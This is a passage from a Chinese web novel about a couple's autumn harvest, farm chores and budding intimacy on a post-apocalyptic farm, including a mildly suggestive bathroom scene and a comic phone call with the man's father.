赵弋这才想起来,两人之间的六岁年龄差意味着什么。
意味着末世爆发时时枌才六岁,而且在村子里住,就算有电视能看动画片,估计到现在也忘的差不多了。而他,末世爆发时已经十二,上初中,该看的动画片一个没落下,现在也能记起来。
他换了下发麻的腿,“收完玉米水稻去阳县住吧,我给你弄台电视看。”
时枌合上书,“不一定有空哦,秋收完还要秋播,这边地也要翻,重新播种,土豆红薯也要收,然后……反正还有很多事。”
“冬天呢?”
“冬天也不能长住,这边鸡鸭什么的也要照顾。”
夏天还好,有邻居照顾,但是冬天一不小心就会冻死,她得提前准备,还得给它们备足了粮食。
赵弋沉思片刻,发现还真的没空去阳县。
那就只能想想办法,把这
边的电给通了。
时间不早,时枌把书压在枕头下,打算挪过去正常竖着睡,就发现被他身体挡住了,伸脚往他腿上踹了一下,“挪一挪,要睡觉了。”
那一截莹白从视线中掠过。
赵弋默不作声挪到旁边角落,又问她:“你睡外边还是里边?”
“外边。”时枌更喜欢守着门,万一有什么动静也能及时发现。
赵弋就只能睡里侧,一边是墙壁,一边是她,连个枕头都没有。
“还有多的枕头吗?”
“没有,”时枌觉得他有点吵了,翻过身面对他,“你明天就可以去楼下睡了。”
赵弋笑了,往她面前凑近一些,“你怕我在这睡?”
时枌就皱眉,这有什么可怕的,叶枝蔚也跟她一起睡过。
“不怕。”她说。
他挑眉,目光落在她眉眼,然后是鼻尖,嘴唇,声音也有些低哑,“亲一下?”
时枌在犹豫。
叶枝蔚说,亲吻这种事确实是在独处时常做的。
但她却觉得此时到赵弋有些危险。
于是她扭头,“睡觉。”
“……”
第104章 第104章不知道是不是被桃子腻……
赵弋很老实,没枕头也不抱怨,背靠墙壁睡了一晚。
第二天清晨,阳光熹微的时候,时枌一个翻身就到他怀里了。
常年在外出任务,对他来说很难真正入眠,大部分时候稍稍有点动静他就会自然醒,此时异常清醒,一睁开眼,看见她靠过来,带着身上的毯子一起,额头就在他的鼻尖。
赵弋刚想说什么,一只手就推了推他。
她刚睡醒时还不太清醒,声音黏黏糊糊的,还带着困意。
“起来了,收玉米。”
“……”
果然,他就知道她主动投怀送抱准没好事。
赵弋伸手将人搂紧了,翻身压过去,低头埋入她颈侧,“再等等。”
时枌只觉得一个超大的热源靠近,然后本来就没电扇的她一早上就觉得燥热,嫌弃地去推,“唔,离远点,热。”
他却不肯,偏偏要贴着她颈侧,短发刺得皮肤发痒。
直到时枌彻底醒了,身上都热出汗,不耐烦地去推他,他才松开。
时枌起床去洗漱的时候,他还躺在床上,只是把她的枕头拿了过去枕着,仰面朝天,闭着眼睛。
“……要起床了。”时枌又催了一句。
她着急收玉米,脚尖点地去刷牙,洗脸时想看看他起来没,正好听见动静,时枌伸手拿毛巾擦脸,就被圈住,一整个人被后背上的力气压迫往前倒,都要伸手扶着洗手台才能支撑,后颈一片滚烫。
“……你没睡好?”时枌问他。
“嗯。”他鼻尖蹭着人后颈,目光落到她凸起的骨头,好奇地靠近印了印,惹得人一缩脖子。
“那你可以再睡一会儿,我先过去。”
他不说话,还是那副颓丧模样,挪到她颈侧,脸颊贴着人耳朵,大热天的,本来就热,现在这样就更热了。
时枌思来想去,他这样不高兴也不能好好给她收玉米,至于他为什么不高兴,难道是因为昨晚上她拒绝了他?
好像确实是从那个时候开始闹情绪的。
她在洗手台跟他之间的间隙艰难扭身,还带着水的手托着他脸,认真看了看,然后仰头亲了他一下,“好了,要收玉米了。”
“你就只有收玉米。”他抱怨。
“不然呢,收完还得掰玉米粒,不然鸡鸭鹅饲料哪里来?等着饿肚子呀?”
赵弋深深叹了口气,泄愤似的捏了捏她的脸才作罢。
“你先去换衣服,我很快。”他说。
时枌就知道他这样是好了,开开心心去卧室。
趁着早上太阳还没升起来凉快些,两人穿了长袖长裤,手套帽子都戴好,赵弋也跟她一样后颈上搭了条毛巾,又用巾子挡住半张脸,开车去了山脚田地,路上啃了两个鸡蛋饼,——时枌抓紧时间烙的。
放眼望去密密麻麻的玉米杆,还有旁边的水稻,时枌伤了脚只能当半个劳力,原本想去试试割水稻,但是她发现左脚不能太用力,担心频繁弯腰会伤到脚,就只能负责掰玉米了,水稻就交给赵弋来。
腰间系着一个布袋,掰下来的玉米就往布袋丢,攒够了就倒到田埂外的袋子里收起来。
时枌手还是快的,只是不方便到处蹦,每次赵弋要去倒玉米的时候就帮她拎过去,再把空袋子拎过来。
不断重复的动作让闲了一个月的时枌直冒汗,胳膊也开始发酸,又热又累,还有玉米叶子割到皮肤上的痒,她完全不想说话,一根玉米杆子上两三个玉米,嘎吱掰下来,剩下的玉米杆子就留着之后砍了放地里晒干,回去还能当柴烧。
埋头苦干,一直到大中午,赵弋朝她招手。
时枌就掰满了一袋子慢吞吞过去,走到半路他已经过来,自然地搂着人腰,连她带玉米一起搬了过去。
田埂上已经铺满了玉米棒子,还没来得及装袋。
“食堂的人来了。”赵弋说。
他也被热得不行,脸都是红的,戴着草帽,看着就是个普通农夫,一双大长腿踩着雨靴,出了玉米地为了散热才卷起袖子,手臂上青筋凸起,习惯地插着腰,大马金刀地站在她旁边。
“车里有西瓜。”
时枌快热死了,再不吃瓜她就要中暑了。
两人就去车边,打开后备箱,赵弋用勺子把瓜劈成两半,本打算一人一半各自吃,但看她手都在发抖,就自己抱着半边瓜,用勺子挖了中间一部分没有籽等喂到她嘴边,时枌只用张嘴吃就行,一边揉揉自己胳膊。
“肯定是在阳县闲久了。”时枌吃着瓜抽空解释。
她前几年收玉米都没这么差的。
赵弋只是勾了勾嘴角,没说什么。
很快就听见车的轰鸣,一辆熟悉的小货车弯弯绕绕开到了他们身边。
“他们怎么到这来了?”时枌不明白。
“定位给的是这里,正好。”
时枌还是不明白他这个正好是什么意思,可能是被太阳晒迷糊了,不过很快,等火车上的几个食堂负责搬货的中年男人下来,赵弋朝他们招招手,他们不明所以走了过来。
赵弋:“正好,帮忙收下玉米,装车,送到院子门口卸货。”
食堂的人:“……”
早知道就不过来了。
因为是来运菜的,食堂特地挑选了有力气的厨师,中年跟老年的,他们大多有务农经验,正好便宜了赵弋,这些人教都不用教,自己就会割水稻掰玉米,还多了一辆货车帮忙把掰下来的玉米给运回去。
时枌目瞪口呆。
“……那今天就能把这些收完?”
“嗯,应该可以。”他根据自己的体力估算了一下,加上他一共五个人,这片地收完没问题。“你开车跟他们回去,煮绿豆汤,做点饭,休息一下。”
时枌脚不方便,又不能搬东西,现在最合适的分工就是做后勤。
“好。”
今天就能收完,时枌一下来了干劲,一听她要回去做饭,一个帮忙搬玉米厨师就说“不如我来。”时枌就应了。
回到家,她去打下手,那厨师一进厨房就乐呵,“好多年没看见土灶了啊。”
他小时候就是用这种土灶,以前都是他帮忙生火的,这一切都看着十分熟悉。
而且时枌这里还有新鲜的蔬果。
现在杀鸡杀鸭都不方便,时枌去罗辉家问了一下,成功用蔬果换来一块酱牛肉跟几块新鲜牛肉,回到家交给厨师处理,她则去负责蒸米饭跟煮绿豆汤。
拿到肉厨师更开心了。
平时在食堂做饭都是一丝丝肉,他们自己都吃不到很多肉,还第一次看见这么大方的,“酱牛肉凉拌,新鲜的炒辣椒,米饭多蒸一些,再炒个青菜,拌黄瓜,糖拌西红柿,酱荷包蛋。”
正经的厨师架势都跟她或者秦丰不一样,一到灶台前就捋清楚了,开始备菜,时枌就负责去帮忙扯葱扯大蒜,回来发现,人家炒牛肉的青椒都是切得整整齐齐统一形态,而且不同配菜的青椒切的样式还不一样,炒牛肉是用杭椒切成斜的,凉拌用细丝的,就连凉拌番茄的番茄都要切成花,再撒上糖。
时枌看得叹为观止,心想一会儿赵弋回来了一定要让赵弋学一学这手艺。
这几个菜都相对简单,他们备完菜就去把玉米运过来。
人多就是不一样,明显速度快了很多,时枌给他们带了凉水跟西瓜过来,热得不行能解解暑。
直到估摸着快收完了,最后一趟留给他们用越野车带回来,时枌跟厨师就回去做饭。
主要是厨师做,她插不上什么手。
时枌总不可能闲着,就去把院子里的青菜都收了,连着昨天的瓜果放在一起,一会儿他们就可以直接装车带走。
太阳快落山的时候,终于收工了。
时枌院子里也堆满了玉米,稻子只能在院子外靠着院墙堆放着,等着脱谷。
收回来只是第一步,以前村里有机器来帮忙脱玉米粒,还有脱稻米的,但是现在时枌没有那个条件,这些年都是她自己慢慢弄的,玉米就一个个搓,稻米就拍打,再自己用石磨简单脱壳,这个过程比收更要漫长磨人。
但她一年的粮食也靠这些,总归来说,秋收还是件喜事。
一楼客厅长餐桌上又坐满了
人,一道道菜端上去,大家埋头开吃。
赵弋:“晚点会把积分打到你们账户上,今天辛苦了。”
包饭还有工资,大家更高兴了,笑着说客气客气,但也没拒绝。
时枌今天没忙多少,并不算累,简单吃饱就喝绿豆汤,坐在赵弋旁边歇息。
吃完饭,他们还挺有眼力见帮忙洗了碗收拾了桌子,才把菜搬上车离开。
时枌拿着个桃子吃着,感慨:“有人帮忙真好啊。”
她要是自己一个人干,这几亩地不得干四五天啊。
“应该感谢谁?”赵弋刚去冲了澡,一身清爽,坐在小凳子上靠过来。
时枌还是脏兮兮的,她想吃完桃子再去洗,听见这话,笑着扭头亲了他一下,桃汁都沾到他嘴角,“感谢你啊。”
“知道就好。”他看向她手里的桃子,“给我吃一口。”
时枌伸手递给他,赵弋咬了一口。
甜的发腻,一咬全是汁水,都滴到地面,时枌手上也都是黏黏糊糊的。
“会招蚂蚁。”时枌嘀咕,“一会儿记得拿水冲一下。”
“好。”他声音有点哑。
不知道是不是被桃子腻的。
时枌吃完桃子,桃核顺手丢到垃圾桶里,黏糊糊的手搭在膝盖上,避免弄脏衣服,虽然衣服已经脏的不行了,看着堆成山的玉米水稻发愁:“怎么办,还得手搓玉米……”
每年这个时候她手掌都会搓掉一层皮,老难受了,而且搓玉米的时候那些碎屑到处钻,有时候洗都洗不干净,很容易痒。
赵弋盯着她的手,“之前清理阳县的时候,在村民房子里收了一些农用机器,反正也是闲着,过两天我让人帮忙送过来。”
时枌眼睛一下就亮了,“真的?不用手搓了?”
“嗯。”
第105章 第105章他来索要报酬。
看天空的云这两天都不会下雨,时枌就放心把玉米水稻放在院子里,打算这两天先把家里收拾一下,再让赵弋想办法把机器运过来,而她家里的菜籽也要送到阳县去给陈家榨油。
秋天要忙的事情还有很多,但解决了最重要的玉米跟水稻,对时枌来说一半的事情就算是放下了。
她胳膊肘撑着他肩膀起身,避免自己黏糊糊的手弄脏他刚换上的衣服,问了句还吃不吃桃子,她正好要去洗手。
赵弋说不用。
她就自己去厨房洗手了,看了眼厨房,发现很多东西都要补,就叫他过来。
“面粉已经快没了,你一会儿去地窖搬一袋上来,大米也是,”时枌站在流理台前检查,发现还缺了不少,“盐、白糖也拿一袋,对,还有冰糖,最近天气热,要喝绿豆汤,绿豆也要拿一袋……”
她又看自家灶台。
灶台后靠着墙还是一如既往堆了满墙的柴,都是之前他们一群人来帮忙砍的,心里计划着到时候玉米芯要放哪,一般她都是用玉米芯生炉子的,为了方便,玉米芯也只能堆在家里,不能去工具房,因为太远,平时生火不方便。
但是厨房已经堆不下了。
她在跟赵弋商量。
赵弋站在厨房门口,看了眼楼梯下的货架,下巴朝那边抬了抬,“把那里的货架清出来,正好堆玉米芯。”
“对哦。”时枌也反应过来,“生炉子都要去后院生,楼梯间离后门近,平时生火也方便,就是得费功夫收拾出来。”
那里堆的都是杂物,什么都有,时枌也不确定,于是两人一起去收拾。
天还算亮,但室内光线就不太行,赵弋还是拿了蜡烛过来,让她端着,站在旁边分辨这些东西要归到什么地方。
楼梯间除了一个大货架,就是一个烂竹篓,里面放了一些农具,镰刀斧头之类的,还有起子,这些都可以收到工具房。
这地方灰大,赵弋进去没一会儿就劈头盖脸都是灰尘。
“弄完就去洗澡,不然会痒的。”时枌嘴上提醒着,但身体却躲得远远的,生怕被盖上一层灰。
赵弋就发现蜡烛光离他越来越远,等把东西收拾出来,该扔的扔,货架也搬了出来,再准备拿扫帚进去打扫的时候,扭身就看见她离他八百米远,赵弋都气笑了。
灰尘漫天,时枌去旁边的洗手间拎了桶水洒一洒,把灰尘聚起来,他再扫就轻松很多。
反正他都已经脏了,干脆把蜘蛛网密布的顶上也扫了。
收拾得干干净净,拿抹布擦了一遍,才算完事。
而原本洗完澡干干净净的赵弋就变得灰头土脸。
时枌憋着笑,“你去洗,我上去给你拿衣服。”
楼下水龙头有水,其实洗澡更方便,赵弋也就去洗了。
时枌慢吞吞蹦上楼,又抱着他的衣服慢慢蹦下来,赵弋已经快洗完,她在门口等了会儿,没水声了才敲门。
一只手伸出来,时枌把怀里的衣服送过去,猝不及防被拽住手腕,连人带衣服进了潮湿的洗手间,抬眼就撞上一双湿漉漉的眸子。
他手上还有水,搂着她的时候直接浸湿了她腰后的衣裳,凉得时枌头皮一麻。
没来得及出声,脑袋就被迫仰起,唇齿微张的间隙被趁虚而入,冰凉的唇贴着她的,舌尖已然探入。
赵弋贴过来的时候鼻尖上的水滴也落到她脸上,凉得她心脏突突地跳,伸手去扶着他肩膀结果也是一片湿/滑,除却水汽的凉后,却是发烫的皮肤,烫得她指尖一颤,他却趁势俯身更靠近她怀里,肩膀先是故意压低再顶起她的胳膊滑到自己后颈,冰凉的手臂托着她坐到洗手台上。
躲都躲不开,他像是刻意逗她,偏偏要追着她在小小的空间厮磨,不出意外就被人恼羞成怒咬了一口,淡淡血腥味弥漫,他还是凑上前,流血的舌尖舔舐着她的唇瓣。
时枌喘着气,眼睛不知道往那里放,稍稍一低就能看见他要掉不掉的浴巾,被她膝盖蹭着,那松垮程度让她相信,只要她腿挪开,这玩意肯定会掉下来。
她可不想让它掉下来。
时枌不想跟他在这黏黏糊糊的,屁股下洗手台冰凉,肯定有水,因为她裤子都湿了,而且她一天都没洗澡,脏脏的,再抱来抱去,他又得洗,简直没完没了。
她扭头,赵弋就低头亲上人颈侧,再到耳朵,时枌脸一下子就红了,偏
偏又不敢动腿踹他。
“我今天干的好不好?”他在她耳边问。
时枌当然以为他指的是今天收玉米水稻。
他确实是干得很不错,还叫来食堂的人帮忙,一天就都收回来了。
是功臣。
她抿抿有些发麻的唇,还是很诚实地点了点头,“好。”
她不懂他的意有所指,但赵弋能自己想歪,反正自己脑子里想想也不犯法,他干脆想让她多说两句。
“我哪里好?”
“……”
这句明显就有点蹬鼻子上脸了。
看在他今天出了力气的份上,时枌倒是不介意多夸他两句。
“体力好,会干农活,不抱怨,我让你做什么就做什么,这点最好。”
她还真情实感地点评上了,眼睛往上瞄,还多想了几句。
赵弋摁着她的腰向自己,非得让她一身脏衣服弄脏自己刚洗干净的身体,“嗯,所以呢,怎么感谢我?”
他来索要报酬。
“我夸你了啊。”时枌回得理所当然,只觉得他搂得太紧,膝盖都掠过人腰,偏偏她的腿承担着守护浴巾的重责,她只能下意识地夹/紧。
她听见赵弋明显地吸气声。
“嗯?”她看着他。
一双清明的眼睛,不像他的,隐晦不堪。
“口头奖励,嗯?”他不太想让她看见,垂眼又盯上她的唇,“也行。”
他又亲了上来。
这次就比上次温柔地多,轻吮着,她躲他也不会非得追,只是点点试探着,等着她情不自禁地伸过来,一抬眼就能看见她那双清明的眼睛变得迷蒙,这让赵弋很难再温柔下去,结果还是去纠缠,去索取,无法控制地去掠夺。
时枌就很不满意他这种亲法,舌头推着他的,间隙中,伸手去捂他的脸,“……你慢点。”她跟不上。
滴水的短发下潮红的脸,被晒红的皮肤上多了一只白皙却带着薄茧的手,蹭着他脸颊一片酥麻。
他抬手压着她的手,微微侧脸,吻就落在她手心。
烫得很,时枌下意识想把手抽回来,没能抽出。
那一瞬间似乎比他直接吻上来还吓人。
他贪恋地又吻了一下,抬眼看她。
时枌就知道他肯定有事求她,这种情况下,好像又很难拒绝。
他捏着她的手蹭到自己耳侧,又靠近在她唇上亲了一下,低声哄着:“帮帮忙。”
“嗯?”
她的手被他的手揉开,大拇指摸索着凹陷的手心,他的手足够大,滚烫的掌心都贴着她的手腕。
他又不说话,时枌等的心怦怦跳,忍不住问他:“怎么帮?”
赵弋还在犹豫,但又有点忍不了。
“试试。”他说,不愿意就算了。
后半句没说出口,就拉着她的手往下。
她的膝盖终究是没能守住。
时枌一下子瞪大眼睛,耳朵都烧了起来,趴在他肩头极力避免自己记住刚刚看见了什么。
但却挡不住手上的触感传递的信息。
她不想说话,耳边全是乱七八糟的声音,颈间是滚汤的呼吸,烧得她头脑发胀,没一会儿,他又拉下她扶在肩头的另一只手,在她耳边用哑到不行的嗓音道:“捧着。”
“……”
反正他又得洗一次,这次脏的很彻底,时枌也没能幸免,但她又出不去,侧坐在洗手台上红着脸面对墙壁,等着毫无遮挡的他冲完,再穿好衣服过来,才把她抱下来,餍足地亲亲她额头。
“你先洗,我去帮你拿衣服。”
时枌巴不得让他赶紧出去。
他出去了,她一个人才自在些。
关上门,时枌看了眼旁边正在放水的水龙头,再回头,就看见镜子中的自己。
原来自己脸跟他一样红,再拉开衣领看看颈侧,一片斑驳的红,她打开水龙头用水洗了洗,洗不掉,手还有点抖。
肯定是今天掰玉米掰的。
……尽管她今天根本没掰多少玉米。
赶紧洗了一身的汗,换下衣服时放到水里泡着,还倒了洗衣液不辞辛苦自己洗了一遍,剩下过水跟拧干才留给赵弋,她把自己擦干净,才传来敲门声,这次时枌很警惕,拿过衣服就赶紧关上门。
“啪”的一声,差点扇赵弋脸上。
他心情很好,很能理解她为什么这样。
她洗完澡出来,赵弋已经去了一趟地窖,把她之前说的缺的东西都补全了,归置好放进厨房柜子里,再把炉子上烧的水灌进水瓶晾凉,这样明天就能喝到,多的热水灌进热水壶,就封了炉子。
他还洗了个甜瓜,削皮去籽,切成小块,放到一个大瓷碗里。
时枌看见桌上的烛光跟甜瓜,抿抿唇,有种有火发不出的憋屈。
“上楼睡觉?”他问。
此时的赵弋说话都是轻声细语的,柔得不行。
“……带上甜瓜。”
赵弋就笑了,拿上蜡烛跟甜瓜,把前后门都关好,再到楼梯前,瓜交给她,单手将人抱起,上楼去。
时枌以前并不觉得有什么,但经过后,她再一低头看见他腰下,就很难忽视了。
赵弋察觉到她的目光,没出声,就当没看见,照旧给她拿了一本书,再把蚊帐里蚊子清干净,自己就坐了进去。
跟在这睡了很久似的。
时枌:“……”
赵弋替她盖上毯子,压好睡裙裙摆,像是很顺便地问了一句:“不满意?”
时枌抿抿唇,“周霓说过,太大也不好。”
他就挑眉,“那她肯定说过,除了大,自身能力也很重要。”
“……”
周霓确实说过。
“试试?”
第106章 第106章“我老板。”
“不试。”
时枌把书刚到枕头上,照旧趴着看书,只是没再霸道地横着,老老实实竖着睡,他那一边还有一半的空间。
他也没坚持,从仰躺到面对着她,“明天要做什么?”
时枌抽空想了想,“打扫一楼,剥玉米晒玉米……有时间的话就挖树桩。”
趁着天气好,好好晒晒玉米,方便脱粒。
“嗯,”赵弋看着她扎起来地头发,乱糟糟堆在头顶,炸毛似的散开,伸手碰了碰,“那个玉米能吃吗?”
“能吃,就是糯玉米,很顶饱,不太好吃。”说这个时枌就来劲了,“小时候我爷爷种过那种比较小的甜玉米,特别好吃,脆甜脆甜的,后来种子没留下来,就没了,对,刘教授给我的种子我还没仔细看,说不定有,等明年春天播种,再秋收就留种子,以后就能自己种了。”
“玉米都是春天播种?”
“也不是,我们这个地方也可以秋天再播一回,但是我这里不需要那么多玉米,而且土地也需要恢复,连续种不太好,再说了,收玉米也很累的。”
“原来是这样。”赵弋此前对这些基本没了解,不过既然入赘了,就要重新开始学起来,以后也能多帮帮她,不需要事事都要她教。
睡前赵弋又问了很多,比如玉米的管理,水稻播种跟如何打理,又问到她养的蜜蜂。这些时枌说起来就很难停下,书也不看了,仔仔细细跟他讲起来,还很开心地把枕头分给他一半,两人仰躺着,看着她举起手细细列举她每一年、每个月都要忙什么。
“现在是没那个条件,以后要是有农药,肯定是要打药控制的,水稻还好,玉米棉花这种最容易招虫子,可烦人了。”
“下次帮你问问兰城那边有没有,买一些带过来。”
“好!哦对,棉花下个月就要摘了……”
她说着说着就犯困,侧身歪到他怀里,又觉得热,把他推开,直接从枕头上推了下去。
太晚了,赵弋也不跟她计较,没枕头也能睡,反正比平时出任务的条件要好得多。
已经算是初秋,夜晚天凉,他就觉得怀里又多了个散着热气的团子,醒了一会儿,给她拢好毯子,抱在怀里,才睡去。
第二天早上,赵弋起得早,小心翼翼从床里爬出来,再小心翼翼合上蚊帐,做完这一切,他才觉得自己真的,是个赘婿。
他起来的动静还是吵醒了她,时枌一扭头,脑袋压上了唯一的枕头,勉强睁开眼睛看着他。
“再睡会儿,我去做饭。”他说。
一听这话,时枌扭头就睡。
赵弋则是换了衣服下楼。
从前他习惯营养液,一支不够就两支,反正便宜又管饱,那种感觉其实也算不上“饱”,只能说是不饿,他也几乎没有这么正常一日三餐过,今天头一回,还是很新奇的。
新奇的赵队到了厨房,第一件事就是把炉子提到后院,把炉子里的灰掏出来攒到旁边的铁盆里,看花样 ,这铁盆原本应该是个搪瓷脸盆,灰掏干净了,再拿一些秸秆引火,再加碎木头,最后是耐烧的大木头。
原本这种圆柱形的炉子是要烧蜂窝煤的,但是这年头也很难找,所以只能烧木头,需要隔段时间往里面添柴才能保持燃烧状态,有了火,赵弋再拎回厨房,放到水缸旁边角落里,先放上水壶烧水,再去清洗绿豆,洗好放到一边等水烧开了再煮绿豆汤。
做完这些,才轮得到早饭。
还是给灶台生火,昨天时枌做鸡蛋饼的时候他看过学过,记得流程,也相对简单,适合做早饭。
面粉鸡蛋按照比例搅好再去扯几根葱切碎了备好,锅烧热。
一边生火一边做饭很难把握火候,不出意外第一张饼就糊了,赵弋没再添柴,自己三两下解决了糊饼,第二次就好很多,第三张简直完美。
他把不太好的饼放在下边,最完美的放在最上边充当门面,刚摆好盘,又想起虎子大熊小狗们没得吃,就把剩下原本准备留着午饭的面糊都做成鸡蛋饼,再重新挑选。
好的摆盘,差的直接给狗吃。
除了鸡蛋饼,再就是煮好的咸鸭蛋,还有烤土豆,咸鸭蛋切成四瓣摆在盘子里,烤土豆也从灶里扒拉出来,掰开,散散热气,赵弋才上楼去叫时枌起床。
时枌早醒了,听着楼下的动静懒得起来,怕他叫自己干活,就在床上趴着看书,赵弋上来时她是手都看书撑麻了,磨磨蹭蹭从床上下来,赵弋给她挽好蚊帐,再扶她起来。
“醒了多久?”他问。
“没啊,刚醒。”
“刚醒手就麻了?”他挑眉。
“肯定是昨天累到了啊。”她回得理直气壮。
她为什么手麻难道跟他没关系吗?
“……”
时枌就看着他。
“早饭做好了,刷完牙下来吃。”
相对于她这种毫无羞耻心的,还算通人事的赵弋先败下阵来,老老实实收拾脏衣服下楼,打算吃完饭就一起洗了。
以前他也是自己洗衣服,但是来了农场之后才意识到,两个人的衣服到底有多少。
而且他们两人还要干活,弄脏了就换,换了就要洗,天热又容易出汗,一天下来换个三四套都很寻常,导致他洗衣服……已经很烦躁了。
早点通电,他一定要搞台洗衣机过来。
等吃完早饭,时枌很自觉地去刷碗。
赵弋又想,通电后,一定要搞台洗碗机过来。
还有冰箱、空调、热水器……
赵弋快把通电两个字刻在脑子里了。
他深刻理解了为什么之前时枌时常念着通电。
“小狗喂了吗?”刷完最后一个碗的时枌洗洗手,踮脚过来问正在洗衣服的赵弋。
两人活脱脱被家务缠身的冤死鬼,两眼一睁就是干活。
“喂了。”
赵弋力气大,手脚又灵活,洗衣服很快,脏的地方使劲搓两下就干净了,拧干更是又快又干,是洗衣服的一把好手。
时枌想起他还没有枕头,就去一楼他的房间拿了个枕头,枕巾拆下来给他洗,自己拿着枕头拎了把椅子放出去晒。
她家里的枕头有两种,一种是荞麦的,夏天用,一种是棉花的,冬天用。
枕头都是奶奶生前缝好的,那些年家里人多,管的过来,还种了不少荞麦,多的就用来填枕头,之后他们去世,时枌要换枕头芯的荞麦还特地种了一片,后来拔荞麦拔得又累又烦,就再也没种过了。
这个枕头里的荞麦还挺好,不用换,晒晒就行。
赵弋晒衣服的时候,时枌已经坐上小板凳,在院子阴凉处剥玉米。
玉米外边那一层包衣得剥开,这样才方便晒,剥下来的包衣也能晒干当引火的材料。
这项活也就是枯燥乏味一些,但对于时枌现在脚不方便的情况来说是最适合的工作,她还能顺便做做康复训练,动动脚踝,而且阴凉下也不晒,偶尔有风。
剥开的玉米当中很多被虫蛀的,时枌已经见怪不怪,赵弋过来,眼睁睁看着她把冒出来的白白胖胖大肥虫挑走,差点两眼一黑。
他不太想干这活儿。
时枌觉得他昨天已经够累,今天一早还做了饭洗了衣服,“你放两只鸡出来,选母鸡,给它们吃虫子。”
时枌平时不把鸡放出来主要是嫌弃它们控制不住到处乱拉屎,今天情况特殊,这些虫子需要处理,选比较温顺大一些的母鸡就好。
“不担心它们吃玉米?”赵弋问了句。
“本来就是给它们吃的,而且,有肉吃也不会吃玉米的,放心吧。”
赵弋心想也是。
就挑了两只放在院子里,时枌把虫子多的都放到一个大竹篓里面,母鸡就会自己去啄,果然是冲着虫子去的。
一些很好的,没有虫子吃过的她就放到一边的小竹篓,打算留着自己吃。
大熊过来守在她身边趴着。
赵弋拿了双手套,克服心理障碍,学着她剥玉米。
突然,手表响了。
是他爸的电话。
赵弋选择挂断。
时枌:“怎么不接?见不得人啊?”
“我爸。”
“啊,那可以接啊。”
像是印证她的话一样,又响了起来。
赵弋深吸口气,还是接了。
“儿子干啥呢,怎么最近都没消息?”
因为没戴耳机,时枌能清楚听见手表传来的声音。
听上去是个年纪较大的男人,很沉稳的音色,像个好人。
“收苞谷。”赵弋看了眼从手里玉米头顶钻出来的大白虫,强忍恶心丢给了母鸡,继续剥下一个。
“收完了吗?要不要我去帮忙?”他爸很是亲切地问。
“收完了,昨天请了食堂的人来一起收了,三亩地,一个下午。”
他说的这么详细,他爸却坐不住了:“你真种地去了?!”
赵弋看向时枌。
时枌立马站出来:“叔叔,他没有种地,地是我种的,他只帮忙秋收了哦。”
对面一阵沉默,然后掐着嗓子问:“你是谁呀?”
赵弋:“我老板。”
“问你了吗!”对方撤回了一个夹子音,“让人家说话!”
时枌:“我是他老板……”
“我儿子没给你添麻烦吧?他这人平时就不服从管教,你多费点心,好好调/教,他虽然年纪大了点,还是有改进余地的,只要你不放弃……”赵将军又夹了起来。
时枌连忙解释:“不呀,他很懂事,在家洗衣服做饭还帮忙剥玉米,特别能干,起的比我还早,从不偷懒!”
“……”
这是他儿子吗?
是他那个兰城高级指挥官、杀丧尸跟砍菜、出任务跟喝水一样简单的儿子吗?
“没事就挂了。”赵弋说。
“等等!我得去看看,你什么时间有空?给我个坐标!”
赵弋又看向时枌,意思是让她拿主意。
时枌掐指一算,“下个月吧,下个月收棉花缺人呢。”
赵弋就说:“下个月,到时间我给你发定位,早点过来。”
赵千嶂:“……”
第107章 第107章“你爸身体怎么样?”……
两人都觉得这事没有问题,时枌还很开心计划起来,等十月份棉花彻底成熟了,叫上罗辉跟余袅,到时候他们家肯定也是需要过冬的棉衣棉被的。
“你爸身体怎么样?”时枌问。
赵弋:“年轻时候砍的人比我砍的丧尸多,现在年纪大了,不比从前,但收两亩地的棉花是没问题的。”
“哇哦,你爸以前干什么的?在地主家做长工啊?”
“末世前本来是军人,后来脑子出毛病被送去看押死刑犯,再后来治不好,被安排干脏活,幸好他生在末世,后来砍丧尸砍了几年,病就好了,现在看见尸体都恶心。”赵弋一边回忆一边讲,手里的活也没放下。
竹篓里的玉米满了,他就倒在水泥地上摊开晾晒,再把空竹篓拿过来继续装。
三亩地的玉米,具体有多少根呢?赵弋看着堆成山的玉米真诚发问 。
“我数过!”时枌一下就激动了,“一亩地大概产两千五百根,三亩地大约七千五百根!”
她没有称,所有从来没有具体称过,但是却在某一年非常清闲的时候亲自数过,后来每年都大概是这么个产量。
“……”
赵弋深吸口气,重新坐下来,跟她一起剥。
按照这个数量,他们这个速度,至少要不停歇剥三天。
“这还行啦,之后还可能要剥棉花的,那玩意也磨人。”这种枯燥的活时枌都习惯了,以前自己一个人只能跟狗玩,现在多了个人,还能聊天说话,速度还比她快,生活质量大大提高,她已经很知足了。
赵弋没剥过棉花,不知道那是什么滋味。
但现在剥玉米他就已经很有耐心了。
中午烈烈跟阳阳来找他们玩,当然,主要是找时枌,看见他们在忙,就没多打扰,被时枌塞了一篮子玉米让他们带回家,再让他们帮忙拿地笼去池塘里下好,他俩就高高兴兴带着玉米回去了。
午饭两人蒸了玉米,炒了豆角,再加上番茄鸡蛋,算是午饭。
平时时枌在家也不是天天都有肉吃的,最近家里攒了她去阳县一个月的鸡蛋,很够他们吃。
但看着赵弋这么大一个,没肉,总觉得寒酸。
下午剥玉米之前,时枌就把一只鸡处理了,拔毛砍好,不煲汤,来炖她从阳县带回来的蘑菇干,蘑菇也提前泡好。
晚上她说她要做饭,赵弋就没跟着抢,整理了院子里的玉米,用手表跟阳县那边联系好了时间送脱玉米粒的机器来,这个机器比较小,但是稻谷脱粒跟脱壳的机器特别大,尤其是脱壳的,需要一个小厂房,阳县原本就有,所以稻谷就要跟菜籽一起拖到阳县去。
“有没有什么需要磨成粉的东西?到时候一起拖过去磨粉,那边最近在收拾这些。”赵弋问她。
阳县既然已经决定了要走脱离兰城营养液这条路,那么想要自力更生,也需要提前做好准备,总不能等到明年秋收了再来到处找这些机器。
原本阳县这一片就远离大城市,是小县城,居民大多都务农,周围都是田地,所以阳县内有很多农用机器,这些机器也在他们迁移之前就收到基地仓库了,想着万一有需要就能拿出来。
现在在赵弋的安排下,分发给会使用它们的人,经过审核,专门负责这项工作,比如陈家父子的榨油厂,就是这么分下去的,前两年没有收入,就不需要缴纳什么税了,等运转起来,政府就会收取一定费用用于政府部门的运转,比如收一些粮食之类的。
“有啊,玉米、小麦、大米也是,我明天就收拾出来。”时枌正在剁鸡,手起刀落,一只鸡就被分成整齐的块,再把鸡头鸡脚趾剁掉,内脏她看了看,其实不太爱吃的,就过水煮了给虎子它们加餐。
“你来蒸米饭。”时枌叫他。
赵弋就安排完事情过来。
